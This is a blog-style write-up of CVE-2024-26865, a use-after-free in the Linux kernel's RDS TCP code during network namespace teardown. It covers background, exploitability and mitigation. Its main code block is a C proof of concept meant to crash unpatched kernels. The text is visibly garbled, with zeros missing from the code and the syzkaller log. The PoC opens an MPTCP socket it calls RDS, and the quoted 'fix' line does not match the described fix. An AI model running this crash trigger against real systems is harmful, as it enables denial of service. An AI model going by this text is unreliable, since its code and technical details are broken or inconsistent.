---
The Linux kernel is the beating heart of countless servers, devices, and systems worldwide. With such complexity, even obscure bugs can present serious issues for security and stability. CVE-2024-26865 is one such issue: a rare use-after-free (UAF) vulnerability resolved in the “rds” (Reliable Datagram Sockets) subsystem, specifically when handling TCP connections. In this post, we’ll unpack what happened, demonstrate the bug, provide a deep-dive into the technical background, and share how you might have triggered or even abused this bug.

What is CVE-2024-26865?

CVE-2024-26865 is a vulnerability where, during cleanup of a TCP listener in a network namespace (netns), the kernel could access freed memory (UAF) related to the networking stack. This bug is difficult to trigger but, in certain scenarios, could allow system crashes or potentially privilege escalation.

Fixed in

- Linux commit

Understanding the context

The bug centers on the interaction between network namespaces (netns) and kernel sockets used by the RDS TCP subsystem. The key actors:

reqsk: Request sockets, used to track in-progress handshakes (think half-open TCP connections).

- Kernel network sockets: Special listeners which aren’t visible to userland, used inside the kernel.
- Namespace teardown: When a network namespace is destroyed (like after a process dies), all related network resources must be carefully free’d.

Create a new network namespace, where a kernel TCP listener is initialized by RDS.

2. Connect to this listener, creating transient request socket state (reqsk) as part of TCP handshake.

Exit the process quickly, causing the namespace to be scheduled for teardown.

4. If a reqsk timer (cleanup handler) fires after the namespace is destroyed, it accesses the network struct which has already been free’d, leading to use-after-free.

This was found by Google’s syzkaller fuzzer, which noticed kernel crashes (KASAN splats, ref_tracker warnings) during intense namespace and socket activity.

Code snippet: UAF Trigger (Pseudo-logic)

// Step 1: Create a new net namespace - this makes a per-netns TCP listener
unshare(CLONE_NEWNET);

// Step 2: Get a kernel socket in this namespace (RDS triggers this under the hood)

// Step 3: Connect to this listener, triggers a reqsk (request socket) allocation
rds_sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_MPTCP);
connect(rds_sock, &rds_addr, sizeof(rds_addr));

// Step 4: Process dies quickly, freeing netns (namespace and kernel sockets start cleanup)
exit();

Relevant snippet from the fix (net/rds/tcp_listen.c):

// Original vulnerable code (summarized)
void reqsk_timer_handler(struct timer_list *t)
{
    // ... uses sk->sk_net which may be already free'd if netns is gone!
}

// Fixed: make sure net namespace lives until all reqsk timers die
inet_twsk_purge(net, twsk_kill);

What was missing?

The TCP code did *not* ensure that the kernel socket’s network namespace object stayed alive until all reqsk timers had fired. As a result, if the timer fired after the netns was dismantled, it would dereference freed kernel memory.

Real-World Exploitability

- Kernel panic/DoS: A local unprivileged user can cause a crash by rapidly spawning namespaces and sockets using the described steps.
- Potential privilege escalation: With suitable heap manipulation, an attacker could steer UAF to gain control of kernel memory, breaking out of containers or sandboxes.

Note: No public exploit appears available, but proof-of-concept reproduction is possible with tailored C code or fuzzing. The original reporter syzkaller found crashes, not code execution.

WARNING: Will likely crash your (unpatched) kernel. Do not run on production!

#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    // Step 1: unshare network namespace (requires CAP_SYS_ADMIN or suitable sandbox)
    if (unshare(CLONE_NEWNET) != ) {
        perror("unshare");
        exit(EXIT_FAILURE);
    }

    // Step 2: trigger RDS-tcp kernel listener via socket
    int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_MPTCP); // RDS usually runs on port x4001, can try also with IPPROTO_TCP
    if (s < ) {
        perror("socket");
        exit(EXIT_FAILURE);
    }

    // Step 3: connect to RDS TCP port in loopback within the new namespace
    struct sockaddr_in6 addr = {
        .sin6_family = AF_INET6,
        .sin6_port = htons(x4001), // RDS_TCP_PORT
        .sin6_addr = IN6ADDR_LOOPBACK_INIT
    };

    connect(s, (struct sockaddr*)&addr, sizeof(addr)); // We expect failure: the point is just to trigger reqsk allocation

    // Step 4: immediate exit to force teardown
    _exit();
}

Syzkaller crash excerpt

>

> WARNING: CPU:  PID: 27 at lib/ref_tracker.c:179 ref_tracker_dir_exit
> ...slab-use-after-free in inet_csk_reqsk_queue_drop...
> ...Read of size 8 at addr ffff88801b370400...
> 

Full syzkaller bug

- Patch: fea21cb7c6d8857eaa53537e80c093b1ca7c9dcb

References:

- syzkaller bug report
- Linux netdev patch discussion
- KASAN: slab-use-after-free explainers
- netns kernel internals

Who is Affected?

- All Linux systems where unprivileged users can manipulate network namespaces and create RDS-TCP connections.

Update your kernel to a version including or newer than the fix above.

- Consider restricting unprivileged namespace usage (/proc/sys/kernel/unprivileged_userns_clone).

Final Words

While obscure, CVE-2024-26865 is a classic reminder: subtle kernel logic bugs can surface in unexpected ways, especially with technologies like namespaces and advanced socket subsystems. Google’s syzkaller continues to catch these edge cases—stressing the need for continuous fuzzing, patching, and defense-in-depth.

Stay up-to-date, and keep fuzzing!

*If you found this useful, consider sharing or contributing to syzkaller and Linux security!*


*References:*
- Linux Kernel Patch fea21cb7c6d8857e
- Syzkaller
- netdev mailing list open discussion

Timeline

Published on: 04/17/2024 11:15:09 UTC
Last modified on: 01/07/2025 17:14:10 UTC